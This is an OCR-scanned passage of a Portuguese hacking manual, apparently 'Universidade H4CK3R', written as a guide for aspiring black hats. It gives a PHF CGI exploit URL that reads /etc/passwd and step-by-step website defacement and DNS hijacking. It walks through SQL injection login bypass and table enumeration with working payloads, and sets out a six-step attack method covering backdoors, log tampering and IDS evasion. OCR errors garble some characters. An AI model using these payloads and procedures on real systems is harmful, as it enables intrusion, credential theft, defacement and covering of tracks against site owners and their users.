programinha em Delphi, Visual Basic ou mesmo um arquivo de lote (.BAT) que
interaja com o IIS. No Unix, pode-se usar PerI, Python, programas compilados
em C ou mesmo shell scripts, como CGls. Falhas nesses programas podem
comprometer servidores HTIP que, de outra forma, estariam seguros.
Furos de segurana envolvendo CGls so to antigos quanto a prpria
tecnologia. Os prprios servidores j vinham com CGls-exemplo pr-instala-
dos. Um exemplo, vindo de instalaes Unix muito antigas, a falha do tipo
PHF.O arquivo PHF um CGI script usado para atualizar uma lista de telefones
de pessoas. Essa lista disponibilizada on-line pelo servidor Web, e possvel
montar um formulrio que se utilize deste CGI para atualizar a lista.
Nos sistemas Unix com Apache, o local padro para colocar scripts CGI o
diretrio /caminho/para!http/cgi-bin/. Por default, a maioria dos antigos servi-
dores Web instalavam o PHF como exemplo, e, como administradores de siste-
ma nunca lem a documentao, os scripts acabavam ficando. Entretanto, o
script PHF comporta-se mal quando, junto com comandos vlidos, coloca-se
um caractere newline (em hexadecimal, OAh) na URLde controle. Um ataque
simples poderia ser:
http://vulnserv.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd.
Se voc prestar ateno, depois do newline (OAh) foi emitido o comando
/bin/cat /etc/passwd.
O caractere %20 o cdigo ASCII para espao em branco. Vrias aes so
possveis e comandos em seqncia so uma boa idia. Normalmente o script
roda no Unix em um shell muito restrito, sendo o usurio nobody o "campeo
de audincia". Se voc tiver a sorte de o CGI rodar com SUID, pronto! Voc
emitir comandos como root!
Tanto o PHF quanto o Unix foram apenas exemplos. Outros CGls so vulne-
rveis (quase todos...) e possvel rodar comandos de outras plataformas. Um
servidor Windows NT aceita os comandos do DOS, por exemplo.
A melhor maneira de se precaver quanto aos problemas dos scripts CGI
no os usar. Por conta disso, outras formas de interagir com o usurio so as
mais utilizadas atualmente. Alguns exemplos so os servidores de aplicaes
Zope e ColdFusion e as linguagens dinmicas ASP e PHP.Mas mesmo eles pos-
suem furos, porm no to toscos quanto os dos CGls.
PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na
Web so, sempre, cheias de falhas. Como elas precisam efetuar algum
processamento antes de enviar a pgina HTMLformatada ao browser, poss-
vel inserir comandos maliciosos na URLou em algum formulrio e conseguir
um shell para si. Com o shell, a porta para seu defacement est aberta.
A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir
12021
Vulnerabilidades 11[
Universidade 2 Ano
os scripts CGI em servidores Unix, embora tenha sido portada para diversas
plataformas, incluindo Windows. O sistema Active Server Pages (ASP), da
Microsoft, por outro lado, como um "shell" que interfaceia o servidor IlS e
qualquer linguagem externa. A mais usada para montar programas em ASP o
VBScript, mas muitas outras podem ser usadas, incluindo ]avascript e WSE.
Apesar da maior segurana e desempenho que essa abordagem oferece - afi-
nal, nenhum programa externo ao servidor Web est sendo rodado -, ainda h
algumas falhas que podem ser exploradas. Para uma lista completa, consulte
seu site de vulnerabilidades preferido, por exemplo o Security Focus
(www.securityfocus.com), o Linux Security (www.linuxsecurity.org) ou o
Security Bugware (www.securitybugware.org).
Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos
script kiddies a desfigurao de web sites, os chamados defacements. At
agora, conseguimos verificar (apenas com Nmap e Traceroute/Tracert) os fu-
ros no firewall e mapear toda a rede diretamente conectada Internet. Apren-
demos ainda a usar proxies para aumentar nosso anonimato e a mandar fake-
mails - coisa que facilita a vida de qualquer engenheiro social. A rede interna
ainda inacessvel para ns. Por enquanto...
Um defacement algo simples de fazer. Claro que h casos e casos, alguns
mais difceis, outros extremamente infantis, mas no geral os passos bsicos
para um defacement so:
1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssi-
co o prprio site da Digerati (www.digerati.com). que foi desfigurado pela
hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela des-
cobriu as senhas dos administradores do site da Digerati no registro nacional de
domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas
conseguidas, invadiu o DNS(tambm sem exploits, apenas com senhas conseguidas
por engenharia social) que apontava para nosso servidor Web e alterou o IP,apon-
tando para o servidor dela. Resultado: os sites da Geek e da Digerati aparente-
mente desfigurados. A imagem do site desfigurado est no CD.
2 Com ES, tudo fica mais fcil. Mas com ou sem informaes privilegiadas,
deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de
informtica. Para isso, cuide de se proteger com spoofmg e proxies pblicos.
3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs ou o
web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits
e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter aces-
so restrito, ento precisar fazer cracking de senhas ou brute force (vide cap-
tulo 7, Vulnerabilidades l) para conseguir acesso ao superusurio.
12031
I Vulnerabilidades 11
IUniversidd H4CK3R I
4 Uma vez com acesso, procure pelos diretrios em que as pginas so
guardadas. Em mquinas Windows com IIS elas ficam em /www/documentroot.
Em mquinas Unix isso varivel, pode estar em !home!http, /var/www, /var/
http, /usr/local/apache/www, entre outros. Utilize o comando fmd (ou, se dis-
ponvel, o comando locate) para encontrar o diretrio www ou http.
5 Encontrado o diretrio, seja bonzinho e faa backup de todo o site, colo-
cando-o em um arquivo compactado deixado a mesmo ou copiando-o para um
diretrio qualquer.
6 Substitua o index.html (ou .php ou .asp ou .htm ou .xhtml ou .shtm...) pelo seu
prprio, j previamente diagramado, ANTES de iniciar a invaso. Voc no quer dei-
xar a conexo aberta enquanto cria a pgina, perigando ser rastreado, no mesmo?
7 Apague todos os seus rastros. .
Em caso de mquinas DNS, o procedimento similar. Voc deve ter um servi-
dor Web no ar e testado, contendo a pgina a ser mostrada. Invada o DNS e altere
as entradas. Por exemplo, voc a favor da guerra no Iraque e quer desfigurar o
site www.stopthewar.org (Ateno lammers - este site no existe!). Descubra
qual o DNS que aponta para ele (dica: use o servio WHOIS com o comando
nslookup) e invada a mquina. L, voc vai encontrar o domnio stopthewar.org
associado a um determinado nmero IP. Troque pelo IP do seu servidor Web
contendo a pgina falsa e pronto, est feito! No se esquea de verificar se h
DNSs secundrios. Voc ter de monitor-Ios para certificar-se de que sua altera-
o seja propagada, caso contrrio, ter de invadi-Ios tambm e alter-Ios " mo".
Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de ban-
cos de dados. Os primeiros para armazenar os retalhos de cdigo a fim de usar para
montar o HfML entregue ao cliente, os segundos para manter o cadastro dos usuri-
os. Ambos podem ser facilmente acessados com algum trabalho braal.
Conectandodiretamente via Internet
Certos administradores de redes (ou mesmo usurios leigos...) deixam seus
bancos de dados completamente escancarados na Internet, sem f1ltragem por
firewall. possvel conectar-se a eles por meio das ferramentas disponveis no
prprio sistema operacional, ou instalando, no computador do atacante, um
banco de dados idntico ao da vtima.
Um exemplo prtico: na Internet, voc encontrou com um scanner de
vulnerabilidades (por exemplo, o Nessus) um servidor Unix rodando o banco
de dados PostgreSQL. Para acess-Io, basta instalar e configurar um front end
grfico para acesso e administrao dos bancos de dados do Prostgre chamado
pgaccess (www.frex.ro/pgaccess).
2041
Vulnerabilidades 11[
Universidade 2 Ano
Um pouco de engenharia social ser
necessrio para descobrir os nomes das
bases de dados e de usurios. O
PostgreSQL foi s um exemplo, poss-
vel fazer isso com qualquer banco de
dados, inclusive o MS-SQLe o Access,
quando configurados como fontes de
dados ODBCpara rede. Uma instalao
com as opes-padro do banco de da-
dos a ser atacado, na mquina do ata-
cante, ajuda e muito a descobrir con-
tas-padro. Scripts de conexo a SQLe
ODBC, se bem escritos, podem auxiliar
em um eventual brote force. Procure
aprofundar-se nas tecnologias de ban-
cos de dados. A Internet est cheia de tutoriais srios a respeito do assunto.
Recomendamos a voc, antes de tentar atacar tais programas, procurar saber
como us-Ios da maneira correta. Humm, talvez seja hora de voc interromper
novamente a leitura do livro...
Senhas na Web [teoria x prtica)
Todo grande site solicita que o internauta se cadastre para liberar contedo
exclusivo. Depois do cadastro, necessrio que o internauta fornea login e
senha toda vez que entrar no site. Se o servio cobrado ou no, no interessa.
Os dados do usurio sero catalogados e mantidos em um banco de dados, e
usados pela empresa mantenedora do site para quaisquer fins. Normalmente
tais empresas possuem e divulgam uma poltica de privacidade, garantindo
que seus dados esto num ambiente seguro, livre de olhos maliciosos e que a
prpria empresa no os divulgar voluntariamente sob qualquer pretexto.
Mesmo com as desconfianas de praxe, na maioria das vezes, acreditamos na
palavra dos profissionais a quem confiamos nossas informaes, bem como na
segurana de seus sistemas.
Esse falarrio todo nos d a impresso de que nossos dados estaro seguros,
certo? Ledo engano. Nem sempre os sites se utilizam de ferramentas adequadas
para desenvolver seus produtos e servios. Vrias tcnicas podem ser usadas
para enganar as rotinas de login e nos fornecer acesso privilegiado ao site ou
mesmo obter os logins e senhas dos outros usurios. Uma das tcnicas a
chamada SQL Injection, que consiste em inserir comandos da linguagem SQL
nos campos de login e senha para, de acordo com a mensagem de erro retornada
pelo servidor, mapear todo o banco de dados dos usurios. Esse mtodo funci-
ona para scripts ASP que se utilizam de chamadas SQL, mas pode ser adaptado
para qualquer linguagem de scripting ou CGI, como PHP ou PerI. A sintaxe
pode ser diferente, mas o mecanismo similar.
12051
]Vulnerabilidades II
IUniversidade H4CK3R I
EMTEMPO!Conhece SQL,ASPe PHP? No? pena, mas sou forado a sugerir
que voc pare novamente a leitura do livro e procure instruir-se nesses assuntos.
Comece com um banco de dados simples como o MySQLe uma linguagem livre
como o PHP.Bonspontos de partida so os sitesWebmonkey (wwwwebmonkey.com)
e Developer's Shed (wwwdevshed.com). Os sites oficiaisdo PHP (wwwphp.neO e
MySQL(wwwmysq1.com) tambm so bem produtivos. Uma procura em sites de
busca pelas palavras"PHPMySQLTutorial"e bons livrossobre o assunto (e so muitos)
completam suas necessidades iniciais.
Partimos do princpio de que sempre existe uma tabela, dentro do banco de dados,
que contm todas as informaes cadastrais dos usurios. No estimativa: esta tabe-
la necessria! No sabemos (ainda) qual o nome da tabela - pode ser Users,
Usurios, UserDB,Papagaio,SacoDePitombas -, ento, por enquanto, vamos cham-la
de tabela_usuarios. Atabela de usurios pode possuir diversos campos, como ende-
reo, telefone, e-mail para confirmao ou nmero do carto de crdito. Mas h
quatro campos que so obrigatrios em qualquer tabela dessas. Os nomes dos cam-
pos obviamente podem variar,mas suas funes normalmente so as mesmas:
~ID: Um identificador nico de cada usurio no sistema. a chamada "chave
primria", e necessria para o correto funcionamento da tabela e seus relaci-
onamentos com outras tabelas.
~Nome Completo: Campono to importante para a autenticao, mastrata-seuma
maneirade personalizaro funcionamentodo sitepara cadausurio.
~Login e senha: Os campos mais importantes; garantem o acesso ao site
para os usurios cadastrados.
~Admin: Um flag que indica se o usurio tem poderes especiais para admi-
nistrar o site.
Um exempo de tabela seria:
Esse fragmento de tabela nos revela coisas interessntes. O que mais salta
vista que as senhas dos usurios comuns normalmente so muito fracas, e um
bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to
bvio, passa despercebido pela maioria das pessoas: os administradores quase
sempre so os primeiros nomes da lista. Em mais de 90% dos casos, o ID 1 da
tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes
de administrador para poder fazer os testes necessrios. Essa informao ser
til mais para frente.
12061
Vulnerabilidades II [
ID
Nome Completo Login
Senha
Admin? (S/N)
1
Henrique Cesar Ulbrich
ulbrich W6rYwH S
2
James Fbio Della Valle james
D3114V4113
S
3
Suzana Warren
suzy pipoca
N
4 Fabio Cruz fcruz blaublauO 1 N
Universidade 2 Ano
Voltemos ao site. Quando o usurio preenche os campos de login e senha, o
script ASP os guarda, cada um em uma varivel. Vamos cham-Ias de login e
senha. No muito original, mas tenha certeza de que um grande nmero de
sistemas por a utiliza exatamente esses nomes, alguma variao deles ou seu
correspondente em ingls.
O prximo passo seria o script ASPcomparar os dois campos com o que est
cadastrado, para garantir ou barrar o acesso ao site. Um exemplo de comando
ASP seria:
SQLOpen = ffSELECT login, senha, nome, admin
FROM tabela_usuarios
WHERE login = ' ff &Login& ff ,
AND senha = ' ff &Senha& ff , ff
O que esse comando faz mandar para o banco de dados um comando SQLpara
listartodos os usurios que contenham o login e a senha informados. Por exemplo, se
um internauta digitar,como login e senha, "junior"e "fabio",a string SQLficaria assim:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'junior' AND senha = 'fabio'
Trocando em midos, esse comando solicitar ao banco de dados uma lista
com todos os registros cujo campo login for junior e o campo senha seja fabio.
Emum sistema bem-feito, no haver nomes de login repetidos, logo o banco vai
retornar os dados do usurio, se ele existir. Compare o comando ASPe o coman-
do SQLpuro. No primeiro, aspas duplas separam o que uma string pura do que
comando ASP.As aspas simples so consideradas parte da string pura. Como
podemos perceber, os valores atribudos aos campos login e senha esto entre
aspas simples. Hummm... E se eu colocar, no meio do meu login, uma aspa sim-
ples tambm (por exemplo, jun 'ior)?O comando SQLresultante ser:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = 'jun'ior' AND senha = 'fabio'
O SQLconsiderar o nome de login como apenas jun e o resto do nome, ior,
como parte do comando SQL. IOR no um comando SQLvlido, portanto a
pgina retomar um erro. justamente esse erro que, mais para frente, nos
dir qual a estrutura da tabela. Por ora, vamos us-Io para inserir mais coman-
dos SQLno campo de login.
Experimente, no login, inserir a seguinte string
, OR 1=1 - -
e veja o que acontece. Possivelmente voc se logou como administrador!!! Va-
mos analisar como essa feitiaria funciona na string SQL:
SELECT login, senha, nome, admin FROM tabela_usuarios
WHERE login = " OR 1=1 -- AND senha = "
Traduzindo a string para o portugus (isso sempre facilita...): "SELECIONE
os campos login, senha, nome, admin DATABELAtabela_usuarios EM QUE o
login seja vazio (' ') ou a condio 1 = 1 seja verdadeira". Queee? 1 = I?
Essa condio SEMPRE verdadeira, portanto, o usurio magicamente est
12071
1 Vulnerabilidades 11
IUniversidade H4CK3RI
logado no sistema!!! A senha nunca ser consultada validada, pois todo o resto
da string (AND senha =' ') est comentado com os dois travesses.
Se voc j souber o nome de usurio de uma pessoa e quiser acessar o siste-
ma com seu login, basta colocar a string mgica no campo senha. Ou comentar
o campo de login, aps entrar com o usurio. Por exemplo, se voc sabe que o
login de sua me neidem, tente:
login: neidem'-- senha: <vazio>
ou
login: neidem senha:' OR 1=1
Algumas vezes necessrio colocar' OR 1=1 tambm no campo senha, em
vez de comentar com travesses o final do campo login.
Outro caso em sites pblicos com cadastros numerosos. Podemos colocar a
string mgica no campo login e "chutar" uma senha qualquer. O comando SQL
vai puxar todos os usurios que tiverem aquela senha, e voc se logar no
primeiro deles. Use suas listas de palavras (lembra-se do captulo 7?) e entre
seguramente. Voc encontrar diversas duplas nome/senha. Com um pouco de
organizao, voc poder fazer uma lista dos nomes e senhas vlidos no site e
usar "um pouco de cada", dificultando o rastreamento das contas invadidas.
Brinque bastante com os sites escolhidos para vtima - sites com MSSQLe ASP
so presas perfeitas. Com seus conhecimentos de PHP e MySQL,monte um site
para experincias e insira todos os comandos SQLque voc conseguir lembrar.
Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est
montada? Lembre-se de que estamos completamente cegos at agora. Um coman-
do conhecido de SQL o HAVlNG,que permite selecionar grupos de campos que
possuam um padro especfico. Coloque, no campo de login, a string , having
1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros
diferentes, mas em comum eles tero uma mensagem parecida com essa:
Column 'userid' on table 'mainsite' is invalid on the
selected list ...
Opa! O banco de dados alegremente nos presenteou com o nome da tabela,
mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de
dados retomariam o valor desse campo em formato orientado a objetos, algo
como mainsite.USERID. No importa, j temos dois dados importantes. Mais
para frente, a mensagem provavelmente mencionar que no h uma clusula
GROUP BYno comando. Bem, vamos adicionar tal clusula e ver no que d:
Usuario: ' GROUP BY mainsite.USERID having 1=1 --
Cruzes! Olhe a resposta do site:
Column 'userlogin' on table 'mainsite' is invalid on the
selected list ...
J sabemos o nome do segundo campo!!! Tentemos de novo:
U~o:' GROUPBY mainsite.USERID,mainsite.USERLOGINhaving 1=1 --
1208 I
Vulnerabilidades 11[
Universidade 2 Ano
A resposta :
Column 'username' on table 'mainsite' is invalid on
the selected list ...
Continue sua pesquisa usando esse mtodo. Quando no houver mais mensa-
gens de erro, voi1,voc possui todos os campos da tabela. Agora, vamos recu-
perar as linhas da tabela, ou seja, os registros de cada usurio. Vamos usar o
comando SQL UNION:
Usuario: ' UNION ALL SELECT userid FROM rnainsiteWHERE 1=1 --
Preciso explicar? O valor de userid retomado na mensagem. Faa isso com
todos os campos. Obviamente, se o script for bem escrito, esses artifcios no
funcionaro. Muitas vezes o script bem-feito e testar os campos procura
de caracteres maliciosos ANTESde mand-Ios ao comando SQL. Nesses casos
voc no conseguir entrar, mas ainda pode ter uma indicao na mensagem de
erro do site sobre os nomes dos campos, da tabela e da base de dados. Anote
TUDO e tente fazer um diagrama. Uma espiadela no que retomado na URL
tambm uma boa...
Isso apenas o bsico do bsico sobre SQLInjection. Para saber mais sobre o
assunto, recomendamos a leitura do excelente livro Segurana contra Hackers
- Aplicaes WEB, de Scambray e Shema (Editora Futura/McGraw-Hill, 394
pginas). Uma pesquisa no Google pelas palavras "SQL Injection" vai retomar
praticamente toda a documentao disponvel sobre o assunto.
Estamos todos vulnerveis?
Infelizmente, a resposta, em uma palavra, sim. Nossos sistemas de informa-
o, com todos os patches, Service Packs e correes, so falhos porque foram
desenvolvidos sem levar a segurana em conta. muito mais fcil plantar rvo-
res que fazer enxertos.
No podemos, nem queremos ou temos espao para demonstrar a fundo todos
os tipos de vulnerabilidades existentes. O captulos 7, Vulnerabilidades I, e este
serviram apenas para que voc tome contato com algumas tcnicas esparsas
sobre o assunto. Nos prximos captulos, daremos uma viso mais clara de como
se planeja um ataque, como se defender deles e o que fazer caso seja invadido.
Falando em contra-ataque, recentemente foi lanado um "brinquedo" que caa
e destri os hackers que o invadiram. Acesse www.backfiresecurity.co.uk e
saiba mais sobre ele.
12091
I Vulnerabilidades 11
Universidade 3Ano:
Tornando-se um Hacker
Ataque, defesa e
contra-ataque:
Introduco
.
Captulo
10
L./ come fece Romolo, o comunque se chiamasse
il capoccione de quei tipacC/; a procurar donne a se e ai suoi
compani. Indisse una grande festa, 1.../
e invit a prendervi parte i vicini di casa sabinil.../
cal loro re, Tito Tazio, e sopratutto le loro figlie': 1
Indro Montanelli, "Storia di Roma", 1957
1 "C.') como fez Rmulo, ou como quer que se chamasse o chefe
daqueles caras, para conseguir mulheres para si e para seus compa-
nheiros. Deu uma grande festaC.,) e convidou seus vizinhos, os sabinos
C.') que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas C.')" Um
excelente exemplo de engenharia social daquela poca. A fase de planeja-
mento dessa festa algo digno de leitura.
Universidade 3 Ano:
Tornando-se um Hacker
Ataque, defesa e
contra-ataque:
Introduco
.
Captulo
10
"f.../ come fece Romolo, o comunque se chiamasse
il capoccione de quei tipacci, a procurar donne a se e ai suoi
compani. Indisse una grande festa, LI
e invit a prendervi parte i vicini di casa sabinil.../
col loro re, Tito Tazio, e sopratutto le loro fig/ie ".'
Indro Montanelli. "Storia di Roma". 1957
1 "(...) como fez Rmulo, ou como quer que se chamasse o chefe
daqueles caras, para conseguir mulheres para si e para seus compa-
nheiros. Deu uma grande festa(...) e convidou seus vizinhos, os sabinos
(...) que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas (...)" Um
excelente exemplo de engenharia social daquela poca. A fase de planeja-
mento dessa festa algo digno de leitura.
I Universidade H4CK3R I I
Chegamos parte crucial de nosso curso. At aqui vimos diversas tcnicas
pontuais e especficas de ataque, usando ferramentas prontas ou baseadas em
conceitos muito rudimentares. Fora o exposto en passant nos captulos de
Vulnerabilidades I e 11,no foi mostrada nenhuma estratgia ou planejamento.
Fazendo uma analogia com o mundo real, ensinamos a apertar parafusos, a
estampar peas em ao, a projetar circuitos eltricos, a instalar som automotivo
e a fabricar pneus e peas plsticas a partir de derivados de petrleo. Mas no
ensinamos como montar o automvel.
A partir de agora, comearemos a ver as coisas de forma mais sistemtica,
seguindo uma ordem lgica e fundamentando todos os procedimentos com
informaes a respeito das tecnologias en40lvidas.
EMTEMPO: para fins didticos, consideramos que o leitor quer se tornar um
black hat e direcionamos o texto para esse objetivo. Entretanto, os autores
repudiam isso e eximem-se de responsabilidade de qualquer ato decorrente
das informaes aqui contidas, e seu uso de inteira responsabilidade do lei-
tor. Lembramos que estas informaes esto livremente disponveis na Internet
e podem ser facilmente encontradas.
Os seis passos para
um hacking feliz
Seis?No eram quatro? No captulo 7 (Vulnerabilidades1),descrevemos um peque-
no roteiro para planejamento e execuo de ataques, que reproduzimos abaixo:
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imedia-
tamentejAo contrrio, conhea sua vtima. Visite seu site na Internet (sem ata-
car, apertas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tc-
nicas passivas (observao: para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retomadas. O importante coletar informaes suficientes
para elaborar um plano de ao, preferencialmente com desfechos alternati-
vos caso algo d errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante
do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois
de descoberta a vulnerabilidade e examinado o comportamento da vtima, use
o exploit apropriado para ganhar acesso limitado ao sistema. E no se esquea
de usar um proxy pblico para esconder seu endereo IP!!!
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT - no Win9x, o primeiro acesso j garante controle total...). Cada SO
possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito,
basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.
2141
Ataque, defesae contra-ataque: IntroduoI
Universidade 3 Ano
4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e insta-
lar as portas de trs. Verifique os logs do sistema e apague tudo o que for
relativo sua visita, MASAPENAS ISSO! Resista tentao de apagar o log
todo - um "buraco" no registro de eventos far com que o administrador
descubra mais cedo do que o esperado que algum andou bulindo com seu
brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns
hackers mais experientes tm o cuidado de aplicar patches no sistema para
remover as portas que o deixaram entrar, evitando assim que outros hackers
menos habilidosos entrem no sistema e, por descuido, alertem o administra-
dor de que a mquina foi tomada.
Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies,
que vagam pela Internet procurando por presas fceis que saibam caar. Ao
contrrio, queremos ter uma idia de como black hats, digamos, "profissio-
nais" trabalham para alcanar seus objetivos em um alvo especfico, qualquer
que seja seu nvel de dificuldade. Para tanto, vamos tentar separar, por afini-
dade, nossos esforos em seis passos distintos. Como guerra o assunto do
momento, usaremos termos militares para nos referir a cada um deles. Talvez
as cruzadas, as guerras do Paraguai, Vietn, Meganisto, os conflitos na Pales-
tina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates
entre hackers/crackers e administradores de sistemas vo durar muitos anos,
talvez sculos.
~ Passo 1: Planejamento
Hummm, difcil dizer se este realmente o passo 1. Na verdade, todos os
passos so interdependentes: precisamos das informaes obtidas em cada
movimento que fazemos para poder planejar (e corrigir) adequadamente nos-
so ataque. A seqncia de atividades ser, portanto, algo parecido com 1-2-1-3-
1-4-1-5-1-6-1,em vez da bvia 1-2-3-4-5-6.
Como todo plano precisa de ajustes e como quase toda tarefa pode ser sub-
dividida em vrias mais especficas, podemos perceber que o processo de pla-
nejamento ser contnuo durante toda a batalha e durar at bem depois da
fmalizao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano
1-2-1-3-1-4-1-5-1-6-1. Se voc no documentar muito bem cada um dos passos
que tem a fazer, acabar com um bocado grande demais para mastigar sem
estalar a boca. E no esquea: formas de esconder as provas do crime tambm
fazem parte do planejamento!
No basta saber o que est fazendo. necessrio saber por que est fazendo.
Se voc tem uma resposta na ponta da lngua quando perguntado "ei, por que
voc quer invadir minha empresa?" pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12151
] Ataque, defesa e contra-ataque: Introduo
I Universidade H4CK3R I
~ Passo 2: Observao
Toda operao militar, seja governamental ou dos rebeldes, precisa estar
embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de
dados necessrios incluem diversos subconjuntos aparentemente no relacio-
nados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos,
famlia, amigos, antigas namoradas; informaes corporativas, hierarquia inter-
na, clientes/concorrentes/fornecedores, dados sobre os sistemas de informa-
o... Do monstro de dados obtido, h ainda a necessidade de garimpar infor-
maes no disponveis diretamente, fazer referncias cruzadas e, literalmen-
te, "ler nas entrelinhas".
Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos
direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira
alguma, possvel coletar uma coleo razovel de informaes obtidas da Internet
ou de observao direta. No se afobe: pacincia a palavra-chave aqui.
~ Passo 3: Busca
Com os planos, mapas e a lista de tarefas na mo, podemos comear a procu-
rar os buracos pelos quais vamos entrar. Um arsenal numeroso e variado de
scanners de portas e vulnerabilidades deve estar disposio para que todos
os pontos fracos sejam revelados. Assim como no passo anterior, pacincia
um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta
usar uma ferramenta que revele o furo de segurana se voc no entende como
ela funciona.
~ Passo 4: Invaso
H vrias maneiras de ganhar acesso ao sistema-alvo. Nos captulos
Vulnerabilidades I e 11vimos algumas. Mas so tcnicas pontuais, que exploram
fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias
tcnicas disponveis de maneira a atingir o objetivo maior. Alm disso, muitas
vezes necessrio passar por vrios nveis de acesso at conseguir poderes
suficientes para atingir o objetivo final do ataque.
~ Passo 5: Manuteno
Nem todos os administradores de rede so completos idiotas. A maioria, na
realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ata-
que, qualquer administrador provido de bom senso vai aplicar os patches de
segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na
segurana ou uma falha em algum programa, possvel que sua prxima tenta-
tiva, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos
muros do castelo, necessrio instalar meios para que se possa entrar e sair sem
ser notado, e que sejam independentes das brechas de segurana do sistema.
12161
Ataque, defesa e contra-ataque: Introduo[
Universidade 3 Ano
~ Passo 6: Evaso
"J invadi, j copiei, j desfigurei, j apaguei e j destru, e ainda deixei portas
secretas por onde entrar e sair sem ser incomodado. E agora, fao o qu?" Bem,
pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa
etapa comea j na preparao do ataque, escolhendo as ferramentas e procedi-
mentos menos ruidosos, tomando cuidado para no deixar aparente que est
logado no sistema e, principalmente, tentando descobrir antes de entrar se h
um sistema IDS ativo. Depois de fazer o que tem de fazer (defacement, cpia de
arquivos e programas, lanamento de outros ataques), apague criteriosamente
suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no
danificar os outros dados registrados. uma falha amadorssima "limpar" demais
o logoOutro cuidado que deve ser tomado j nos passos iniciais de planejamento
a preveno contra sistemas de deteco de intrusos, os famigerados IDSs.
o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos ficaro tentados
a no sair. um risco que todos temos de correr. Nas prximas pginas vere-
mos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A
escolha toda sua, caro leitor.
A melhor maneira de organizar as idias pegar um pedao de papel (prefi-
ro papel tela do computador) e rabiscar algumas coisas. As pessoas normal-
mente perguntam-se por onde comear, esquecendo-se de que a nica coisa
que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso
objetivo pregar uma pea em nosso amigo com um programa inofensivo e
incmodo (chato, mesmo!).
PROGRAMA
CHATO
12171
I Ataque, defesa e contra-ataque: Introduo
I Universidade H4CK3R I I
S esse quadro j nos suscita vrias dvidas:
1. Qual programa usaremos?
2. Como ser instalado?
3. Ser disparado por tempo ou eventos?
4.Tem tamanho mximo defmido?
5. O seu amigo entendido de computadores e vai saber o que fazer quando
o programa disparar?
6. Quer que o programa diga o nome do autor da brincadeira ou que mante-
nha segredo at que voc ria bastante?
Uma vez formuladas as perguntas iniciais (no se preocupe, outras aparece-
ro...), temos de gastar um pouco de tempo pensando e pesquisando para
respond-las. Algumas respostas plausveis poderiam ser:
1. Seu amigo torcedor fantico da Ponte Preta. Doente. Possui faixas, cami-
sas oficiais de diversos anos autografadas pelos jogadores, scio fundador do
clube... Que tal uma animao em Flash, criada por aquele seu colega
webdesigner num favor muito especial, comemorando a derrota da Ponte Pre-
ta para o XV de Piracicaba?
Animao em Flash? Isso quer dizer que sua vtima usa Windows, certo. Se ele
usar Mac ou algum Unix isso no vai funcionar. Este um timo exemplo de
como o planejamento, embora esteja indo bem, precisa de ajustes. Imagine se
voc tivesse enviado a animao "na louca" e descoberto, posteriormente, que
no funcionou porque seu amigo/vtima usa FreeBSD?
Temos, ento, de, por meio de Engenharia Social (ou com a ajuda do Nmap,...)
saber qual o sistema operacional da vtima. Por engenharia social, descobrimos
que o Windows Me.
2. A instalao outro problema. Voc pode fazer seu amigo instalar a bom-
ba para voc, basta envi-la por e-mail dizendo que um f1lminho legal. Mas a
vtima desconfiada (voc j sabe disso, o conhece h anos), e no vai abrir
qualquer coisa que chegue.
Voc poderia elaborar um e-mail HTML com um VBScript que instalasse o
programa automaticamente, mas voc teria de saber qual o cliente de e-mail
que ele usa. Por engenharia social, descobrimos que ele usa o The Bat
(www.ritlabs.com/the bat - os autores recomendam!!!), que premiadssimo
justamente por ser imune a essas coisas.
Ou ainda usar alguma vulnerabilidade do Windows. Para isso precisaramos
